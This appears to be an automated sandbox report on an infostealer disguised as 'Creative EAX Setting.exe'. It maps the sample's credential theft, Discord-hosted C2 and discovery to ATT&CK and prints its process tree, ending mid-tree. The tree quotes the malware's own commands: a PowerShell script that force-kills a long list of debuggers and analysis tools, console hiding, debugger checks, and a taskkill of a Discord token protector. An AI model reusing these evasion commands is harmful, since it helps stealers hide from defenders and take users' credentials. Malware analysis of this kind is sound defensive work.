bd8ea114110009f462078f23fde5197923936fc9f4f7f0b11e6f177e19e43184

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\Control Panel\International\Geo\Nation	Creative EAX Setting.exe

Clipboard Data 1 TTPs 54 IoCs

Adversaries may collect data stored in the clipboard from users copying information within or between applications.

collection

Clipboard Data

T1115

pid	Process
1916	powershell.exe
5848	cmd.exe
2900	powershell.exe
5440	cmd.exe
1976	cmd.exe
5900	cmd.exe
4176	powershell.exe
5600	powershell.exe
6132	powershell.exe
5424	powershell.exe
5876	cmd.exe
6104	powershell.exe
5284	cmd.exe
4048	cmd.exe
5616	powershell.exe
5548	cmd.exe
4288	cmd.exe
5472	powershell.exe
5276	powershell.exe
6132	cmd.exe
2632	cmd.exe
5300	cmd.exe
3168	cmd.exe
3660	powershell.exe
4456	powershell.exe
5308	cmd.exe
5300	powershell.exe
5504	cmd.exe
5004	powershell.exe
4188	powershell.exe
5660	cmd.exe
6076	powershell.exe
5996	powershell.exe
3128	cmd.exe
5452	cmd.exe
1256	powershell.exe
5688	cmd.exe
6008	powershell.exe
6124	cmd.exe
644	cmd.exe
2816	powershell.exe
5256	powershell.exe
3452	powershell.exe
2552	powershell.exe
5712	cmd.exe
364	cmd.exe
3236	cmd.exe
5840	cmd.exe
1868	cmd.exe
3660	powershell.exe
2520	powershell.exe
6004	powershell.exe
3560	powershell.exe
2884	cmd.exe

Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads ssh keys stored on the system 2 TTPs
Tries to access SSH used by SSH programs.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook	reg.exe
Key queried	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook	reg.exe
Key enumerated	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook	reg.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Contacts third-party web service commonly abused for C2 1 TTPs 7 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
32	discord.com
55	discord.com
81	discord.com
88	discord.com
89	discord.com
97	discord.com
123	discord.com

Looks up external IP address via web service 1 TTPs 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

Internet Connection Discovery

T1016.001

flow	ioc
121	ip-api.com
6	ip-api.com

Network Service Discovery 1 TTPs 1 IoCs

Attempt to gather information on host's network.

Network Service Discovery

T1046

pid	Process
3976	Creative EAX Setting.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Discovers running processes 1 TTPs 11 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

Process Discovery

T1057

pid	Process
5480	tasklist.exe
5512	tasklist.exe
2544	tasklist.exe
3016	tasklist.exe
2900	tasklist.exe
5208	tasklist.exe
5348	tasklist.exe
4188	tasklist.exe
5132	tasklist.exe
5480	tasklist.exe
5552	tasklist.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs

Hidden Files and Directories

T1564.001

pid	Process
228	cmd.exe

Hide Artifacts: Ignore Process Interrupts 1 TTPs 1 IoCs

Command interpreters often include specific commands/flags that ignore errors and other hangups.

persistence privilege_escalation

Ignore Process Interrupts

T1564.011

pid	Process
208	powershell.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 64 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2728	cmd.exe
2428	cmd.exe
1880	cmd.exe
4292	cmd.exe
4140	cmd.exe
5148	cmd.exe
5704	cmd.exe
5344	cmd.exe
1792	cmd.exe
1512	cmd.exe
1964	cmd.exe
960	cmd.exe
2864	cmd.exe
2928	cmd.exe
2808	cmd.exe
4784	cmd.exe
2656	cmd.exe
2464	cmd.exe
1832	cmd.exe
5060	cmd.exe
3184	cmd.exe
4568	cmd.exe
6044	cmd.exe
3844	cmd.exe
1268	cmd.exe
4024	cmd.exe
5632	cmd.exe
2200	cmd.exe
5000	cmd.exe
2072	cmd.exe
2704	cmd.exe
2336	cmd.exe
2852	cmd.exe
3772	cmd.exe
3572	cmd.exe
3604	cmd.exe
5316	cmd.exe
5636	cmd.exe
2064	cmd.exe
4764	cmd.exe
920	cmd.exe
1152	cmd.exe
3688	cmd.exe
2216	cmd.exe
5272	cmd.exe
5640	cmd.exe
3832	cmd.exe
4204	cmd.exe
1552	cmd.exe
5176	cmd.exe
4032	cmd.exe
3016	cmd.exe
2096	cmd.exe
3332	cmd.exe
3796	cmd.exe
2684	cmd.exe
4352	cmd.exe
5644	cmd.exe
4776	cmd.exe
1388	cmd.exe
540	cmd.exe
3500	cmd.exe
4164	cmd.exe
3564	cmd.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 4 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

Wi-Fi Discovery

T1016.002

pid	Process
3772	cmd.exe
2780	netsh.exe
5148	cmd.exe
5192	netsh.exe

System Time Discovery 1 TTPs 2 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

System Time Discovery

T1124

pid	Process
5432	msedge.exe
4648	chrome.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Creative EAX Setting.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	Creative EAX Setting.exe

Delays execution with timeout.exe 1 IoCs

pid	Process
3876	timeout.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe

Kills process with taskkill 20 IoCs

pid	Process
3552	taskkill.exe
2812	taskkill.exe
4604	taskkill.exe
4340	taskkill.exe
3392	taskkill.exe
1472	taskkill.exe
4040	taskkill.exe
1796	taskkill.exe
1380	taskkill.exe
6000	taskkill.exe
2800	taskkill.exe
3012	taskkill.exe
2320	taskkill.exe
2460	taskkill.exe
1884	taskkill.exe
660	taskkill.exe
4288	taskkill.exe
2884	taskkill.exe
2416	taskkill.exe
540	taskkill.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2208	powershell.exe
2208	powershell.exe
1564	powershell.exe
1564	powershell.exe
4568	powershell.exe
4568	powershell.exe
4364	powershell.exe
4364	powershell.exe
4480	powershell.exe
4480	powershell.exe
208	powershell.exe
208	powershell.exe
4976	powershell.exe
4976	powershell.exe
2336	powershell.exe
2336	powershell.exe
208	powershell.exe
4976	powershell.exe
2336	powershell.exe
2200	powershell.exe
2200	powershell.exe
2200	powershell.exe
3772	powershell.exe
3772	powershell.exe
4952	powershell.exe
4952	powershell.exe
332	powershell.exe
332	powershell.exe
3876	powershell.exe
3876	powershell.exe
2596	powershell.exe
2596	powershell.exe
600	powershell.exe
600	powershell.exe
3296	powershell.exe
3296	powershell.exe
4976	powershell.exe
4976	powershell.exe
4720	powershell.exe
4720	powershell.exe
2328	powershell.exe
2328	powershell.exe
3568	powershell.exe
3568	powershell.exe
3800	powershell.exe
3800	powershell.exe
3016	powershell.exe
3016	powershell.exe
2760	powershell.exe
2760	powershell.exe
2132	powershell.exe
2132	powershell.exe
4676	powershell.exe
4676	powershell.exe
2816	powershell.exe
2816	powershell.exe
5008	powershell.exe
5008	powershell.exe
1136	powershell.exe
1136	powershell.exe
3884	chrome.exe
3884	chrome.exe
2416	powershell.exe
2416	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2208	powershell.exe
Token: SeShutdownPrivilege	3336	Creative EAX Setting.exe
Token: SeCreatePagefilePrivilege	3336	Creative EAX Setting.exe
Token: SeShutdownPrivilege	3336	Creative EAX Setting.exe
Token: SeCreatePagefilePrivilege	3336	Creative EAX Setting.exe
Token: SeDebugPrivilege	1564	powershell.exe
Token: SeDebugPrivilege	4188	tasklist.exe
Token: SeShutdownPrivilege	3336	Creative EAX Setting.exe
Token: SeCreatePagefilePrivilege	3336	Creative EAX Setting.exe
Token: SeDebugPrivilege	4568	powershell.exe
Token: SeDebugPrivilege	4364	powershell.exe
Token: SeIncreaseQuotaPrivilege	4364	powershell.exe
Token: SeSecurityPrivilege	4364	powershell.exe
Token: SeTakeOwnershipPrivilege	4364	powershell.exe
Token: SeLoadDriverPrivilege	4364	powershell.exe
Token: SeSystemProfilePrivilege	4364	powershell.exe
Token: SeSystemtimePrivilege	4364	powershell.exe
Token: SeProfSingleProcessPrivilege	4364	powershell.exe
Token: SeIncBasePriorityPrivilege	4364	powershell.exe
Token: SeCreatePagefilePrivilege	4364	powershell.exe
Token: SeBackupPrivilege	4364	powershell.exe
Token: SeRestorePrivilege	4364	powershell.exe
Token: SeShutdownPrivilege	4364	powershell.exe
Token: SeDebugPrivilege	4364	powershell.exe
Token: SeSystemEnvironmentPrivilege	4364	powershell.exe
Token: SeRemoteShutdownPrivilege	4364	powershell.exe
Token: SeUndockPrivilege	4364	powershell.exe
Token: SeManageVolumePrivilege	4364	powershell.exe
Token: 33	4364	powershell.exe
Token: 34	4364	powershell.exe
Token: 35	4364	powershell.exe
Token: 36	4364	powershell.exe
Token: SeShutdownPrivilege	3336	Creative EAX Setting.exe
Token: SeCreatePagefilePrivilege	3336	Creative EAX Setting.exe
Token: SeDebugPrivilege	3012	taskkill.exe
Token: SeDebugPrivilege	4480	powershell.exe
Token: SeIncreaseQuotaPrivilege	4480	powershell.exe
Token: SeSecurityPrivilege	4480	powershell.exe
Token: SeTakeOwnershipPrivilege	4480	powershell.exe
Token: SeLoadDriverPrivilege	4480	powershell.exe
Token: SeSystemProfilePrivilege	4480	powershell.exe
Token: SeSystemtimePrivilege	4480	powershell.exe
Token: SeProfSingleProcessPrivilege	4480	powershell.exe
Token: SeIncBasePriorityPrivilege	4480	powershell.exe
Token: SeCreatePagefilePrivilege	4480	powershell.exe
Token: SeBackupPrivilege	4480	powershell.exe
Token: SeRestorePrivilege	4480	powershell.exe
Token: SeShutdownPrivilege	4480	powershell.exe
Token: SeDebugPrivilege	4480	powershell.exe
Token: SeSystemEnvironmentPrivilege	4480	powershell.exe
Token: SeRemoteShutdownPrivilege	4480	powershell.exe
Token: SeUndockPrivilege	4480	powershell.exe
Token: SeManageVolumePrivilege	4480	powershell.exe
Token: 33	4480	powershell.exe
Token: 34	4480	powershell.exe
Token: 35	4480	powershell.exe
Token: 36	4480	powershell.exe
Token: SeShutdownPrivilege	3336	Creative EAX Setting.exe
Token: SeCreatePagefilePrivilege	3336	Creative EAX Setting.exe
Token: SeDebugPrivilege	208	powershell.exe
Token: SeDebugPrivilege	4976	powershell.exe
Token: SeDebugPrivilege	2336	powershell.exe
Token: SeDebugPrivilege	2200	powershell.exe
Token: SeIncreaseQuotaPrivilege	4976	powershell.exe

Suspicious use of FindShellTrayWindow 3 IoCs

pid	Process
3884	chrome.exe
5140	msedge.exe
5140	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3336 wrote to memory of 3976	3336	Creative EAX Setting.exe	89
PID 3336 wrote to memory of 2428	3336	Creative EAX Setting.exe	90
PID 2428 wrote to memory of 2208	2428	cmd.exe	92
PID 2208 wrote to memory of 3576	2208	powershell.exe	93
PID 3576 wrote to memory of 3996	3576	csc.exe	94
PID 3336 wrote to memory of 4776	3336	Creative EAX Setting.exe	95
PID 4776 wrote to memory of 1692	4776	cmd.exe	97
PID 1692 wrote to memory of 456	1692	net.exe	98
PID 3336 wrote to memory of 4504	3336	Creative EAX Setting.exe	99
PID 3336 wrote to memory of 228	3336	Creative EAX Setting.exe	101
PID 228 wrote to memory of 1556	228	cmd.exe	103
PID 3336 wrote to memory of 3500	3336	Creative EAX Setting.exe	104
PID 3500 wrote to memory of 1564	3500	cmd.exe	106
PID 3336 wrote to memory of 1924	3336	Creative EAX Setting.exe	107
PID 1924 wrote to memory of 4188	1924	cmd.exe	109
PID 3336 wrote to memory of 3844	3336	Creative EAX Setting.exe	110
PID 3844 wrote to memory of 4568	3844	cmd.exe	112
PID 3336 wrote to memory of 4856	3336	Creative EAX Setting.exe	113
PID 4856 wrote to memory of 4600	4856	cmd.exe	115
PID 4600 wrote to memory of 4604	4600	net.exe	116
PID 3336 wrote to memory of 3832	3336	Creative EAX Setting.exe	117
PID 3832 wrote to memory of 4364	3832	cmd.exe	119
PID 3336 wrote to memory of 2704	3336	Creative EAX Setting.exe	120
PID 2704 wrote to memory of 3012	2704	cmd.exe	122
PID 3336 wrote to memory of 2548	3336	Creative EAX Setting.exe	123
PID 2548 wrote to memory of 3008	2548	cmd.exe	125
PID 3008 wrote to memory of 4308	3008	net.exe	126
PID 3336 wrote to memory of 4248	3336	Creative EAX Setting.exe	127
PID 4248 wrote to memory of 4480	4248	cmd.exe	129
PID 3336 wrote to memory of 3232	3336	Creative EAX Setting.exe	131
PID 3336 wrote to memory of 1532	3336	Creative EAX Setting.exe	133
PID 3336 wrote to memory of 4024	3336	Creative EAX Setting.exe	134
PID 3336 wrote to memory of 1268	3336	Creative EAX Setting.exe	135
PID 3232 wrote to memory of 208	3232	cmd.exe	139
PID 4024 wrote to memory of 4976	4024	cmd.exe	140
PID 1268 wrote to memory of 4012	1268	cmd.exe	141
PID 1532 wrote to memory of 2336	1532	cmd.exe	142
PID 4012 wrote to memory of 1204	4012	net.exe	143
PID 3336 wrote to memory of 4004	3336	Creative EAX Setting.exe	144
PID 4004 wrote to memory of 2200	4004	cmd.exe	174
PID 3336 wrote to memory of 2096	3336	Creative EAX Setting.exe	147
PID 2096 wrote to memory of 3772	2096	cmd.exe	149
PID 3336 wrote to memory of 2064	3336	Creative EAX Setting.exe	150
PID 2064 wrote to memory of 4952	2064	cmd.exe	152
PID 3336 wrote to memory of 2896	3336	Creative EAX Setting.exe	153
PID 2896 wrote to memory of 332	2896	cmd.exe	155
PID 332 wrote to memory of 700	332	powershell.exe	156
PID 700 wrote to memory of 2132	700	csc.exe	246
PID 3336 wrote to memory of 4880	3336	Creative EAX Setting.exe	159
PID 4880 wrote to memory of 4460	4880	cmd.exe	161
PID 4460 wrote to memory of 960	4460	net.exe	244
PID 3336 wrote to memory of 1512	3336	Creative EAX Setting.exe	163
PID 1512 wrote to memory of 3876	1512	cmd.exe	165
PID 3336 wrote to memory of 2336	3336	Creative EAX Setting.exe	167
PID 2336 wrote to memory of 2476	2336	cmd.exe	169
PID 2476 wrote to memory of 64	2476	net.exe	229
PID 3336 wrote to memory of 2852	3336	Creative EAX Setting.exe	171
PID 2852 wrote to memory of 2596	2852	cmd.exe	173
PID 3336 wrote to memory of 2200	3336	Creative EAX Setting.exe	174
PID 2200 wrote to memory of 3440	2200	cmd.exe	176
PID 3440 wrote to memory of 2532	3440	net.exe	177
PID 3336 wrote to memory of 1888	3336	Creative EAX Setting.exe	178
PID 1888 wrote to memory of 600	1888	cmd.exe	180
PID 3336 wrote to memory of 1880	3336	Creative EAX Setting.exe	181

Views/modifies file attributes 1 TTPs 1 IoCs

Hidden Files and Directories

T1564.001

pid	Process
1556	attrib.exe

outlook_office_path 1 IoCs

description	ioc	Process
Key queried	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook	reg.exe

C:\Users\Admin\AppData\Local\Temp\Creative EAX Setting.exe
"C:\Users\Admin\AppData\Local\Temp\Creative EAX Setting.exe"
1⤵
- Checks computer location settings
- Checks processor information in registry
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3336
- C:\Users\Admin\AppData\Local\Temp\Creative EAX Setting.exe
  "C:\Users\Admin\AppData\Local\Temp\Creative EAX Setting.exe" --type=gpu-process --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\Realtek" --gpu-preferences=SAAAAAAAAADgAAAEAAAAAAAAAAAAAGAAAAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=d3d11-warp-webgl --field-trial-handle=1708,i,11157690987091600282,7240868667957686805,262144 --enable-features=EnableTransparentHwndEnlargement,PdfUseShowSaveFilePicker --disable-features=DropInputEventsWhilePaintHolding,LocalNetworkAccessChecks,NetworkServiceSandbox,RendererCodeIntegrity,ScreenAIOCREnabled,SpareRendererForSitePerProcess,TraceSiteInstanceGetProcessCreation --variations-seed-version --pseudonymization-salt-handle=1712,i,17099127043782438372,9679067352163072711,4 --trace-process-track-uuid=3190708988185955192 --mojo-platform-channel-handle=1704 /prefetch:2
  2⤵
  - Network Service Discovery
  PID:3976
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "$h=(Add-Type '[DllImport(\"user32.dll\")]public static extern bool ShowWindow(IntPtr h,int n);[DllImport(\"kernel32.dll\")]public static extern IntPtr GetConsoleWindow();' -Name C -PassThru)::GetConsoleWindow();if($h -ne 0){[void]([C]::ShowWindow($h,0))}""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2428
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "$h=(Add-Type '[DllImport(\"user32.dll\")]public static extern bool ShowWindow(IntPtr h,int n);[DllImport(\"kernel32.dll\")]public static extern IntPtr GetConsoleWindow();' -Name C -PassThru)::GetConsoleWindow();if($h -ne 0){[void]([C]::ShowWindow($h,0))}"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2208
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\bwtocw5b\bwtocw5b.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3576
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES843E.tmp" "c:\Users\Admin\AppData\Local\Temp\bwtocw5b\CSC7278D85A642A4F55A160D0395268FA51.TMP"
        5⤵
        
        PID:3996
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4776
- - C:\Windows\system32\net.exe
    net session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1692
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:456
- C:\Users\Admin\AppData\Local\Temp\Creative EAX Setting.exe
  "C:\Users\Admin\AppData\Local\Temp\Creative EAX Setting.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\Realtek" --field-trial-handle=1708,i,11157690987091600282,7240868667957686805,262144 --enable-features=EnableTransparentHwndEnlargement,PdfUseShowSaveFilePicker --disable-features=DropInputEventsWhilePaintHolding,LocalNetworkAccessChecks,NetworkServiceSandbox,RendererCodeIntegrity,ScreenAIOCREnabled,SpareRendererForSitePerProcess,TraceSiteInstanceGetProcessCreation --variations-seed-version --pseudonymization-salt-handle=1712,i,17099127043782438372,9679067352163072711,4 --trace-process-track-uuid=3190708989122997041 --mojo-platform-channel-handle=1824 /prefetch:3
  2⤵
  PID:4504
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "attrib +h +s "C:\Users\Admin\AppData\Local\Temp\Creative EAX Setting.exe""
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:228
- - C:\Windows\system32\attrib.exe
    attrib +h +s "C:\Users\Admin\AppData\Local\Temp\Creative EAX Setting.exe"
    3⤵
    - Views/modifies file attributes
    PID:1556
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "[System.Diagnostics.Debugger]::IsAttached""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3500
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "[System.Diagnostics.Debugger]::IsAttached"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1564
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "tasklist /FO CSV /NH"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1924
- - C:\Windows\system32\tasklist.exe
    tasklist /FO CSV /NH
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:4188
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command " Add-Type @\" using System; using System.Runtime.InteropServices; using System.Text; using System.Collections.Generic; public class WindowEnum { [DllImport(\"user32.dll\")] static extern bool EnumWindows(EnumWindowsProc lpEnumFunc, IntPtr lParam); [DllImport(\"user32.dll\", CharSet = CharSet.Auto)] static extern int GetWindowText(IntPtr hWnd, StringBuilder lpString, int nMaxCount); [DllImport(\"user32.dll\")] static extern uint GetWindowThreadProcessId(IntPtr hWnd, out uint lpdwProcessId); delegate bool EnumWindowsProc(IntPtr hWnd, IntPtr lParam); public static List<int> GetPidsForTitles(string[] blacklist) { var pids = new List<int>(); EnumWindows((hWnd, lParam) => { var sb = new StringBuilder(256); GetWindowText(hWnd, sb, 256); string title = sb.ToString().ToLower(); if (title.Length > 0) { foreach (var b in blacklist) { if (title.Contains(b.ToLower())) { uint pid; GetWindowThreadProcessId(hWnd, out pid); pids.Add((int)pid); break; } } } return true; }, IntPtr.Zero); return pids; } } \"@ $blacklist = @('simpleassemblyexplorer','dojandqwklndoqwd','procmon64','process hacker','sharpod','http debugger','dbgclr','x32dbg','sniffer','petools','simpleassembly','ksdumper','dnspy','x96dbg','de4dot','exeinfope','windbg','mdb','harmony','systemexplorerservice','megadumper','system explorer','mdbg','kdb','charles','stringdecryptor','phantom','debugger','extremedumper','pc-ret','folderchangesview','james','process monitor','protection_id','de4dotmodded','x32_dbg','pizza','fiddler','x64_dbg','httpanalyzer','strongod','wireshark','gdb','graywolf','x64dbg','ksdumper v1.1 - by equifox','wpe pro','ilspy','dbx','ollydbg','x64netdumper','scyllahide','kgdb','systemexplorer','proxifier','debug','httpdebug','httpdebugger','0harmony','mitmproxy','ida -','codecracker','ghidra','titanhide','hxd','reversal','binary ninja','cutter','detect it easy','resource hacker','api monitor','regshot','pestudio','pe-bear','pe bear','hollows hunter','process explorer','autoruns') $pids = [WindowEnum]::GetPidsForTitles($blacklist) foreach ($pid in $pids) { try { Stop-Process -Id $pid -Force -ErrorAction SilentlyContinue } catch {} } ""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3844
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -Command "
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4568
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4856
- - C:\Windows\system32\net.exe
    net session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4600
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:4604
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_LogicalDisk -Filter 'DriveType=3' | Select-Object -ExpandProperty DeviceID""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3832
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_LogicalDisk -Filter 'DriveType=3' | Select-Object -ExpandProperty DeviceID"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4364
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM DiscordTokenProtector.exe"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2704
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM DiscordTokenProtector.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3012
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2548
- - C:\Windows\system32\net.exe
    net session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3008
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:4308
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_LogicalDisk -Filter 'DriveType=3' | Select-Object -ExpandProperty DeviceID""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4248
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_LogicalDisk -Filter 'DriveType=3' | Select-Object -ExpandProperty DeviceID"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4480
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* -ErrorAction SilentlyContinue | Select-Object DisplayName | Format-Table -HideTableHeaders""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3232
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* -ErrorAction SilentlyContinue | Select-Object DisplayName | Format-Table -HideTableHeaders"
    3⤵
    - Hide Artifacts: Ignore Process Interrupts
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:208
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -STA -File "C:\Users\Admin\AppData\Local\Temp\vc_ss_1787453309646.ps1""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1532
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
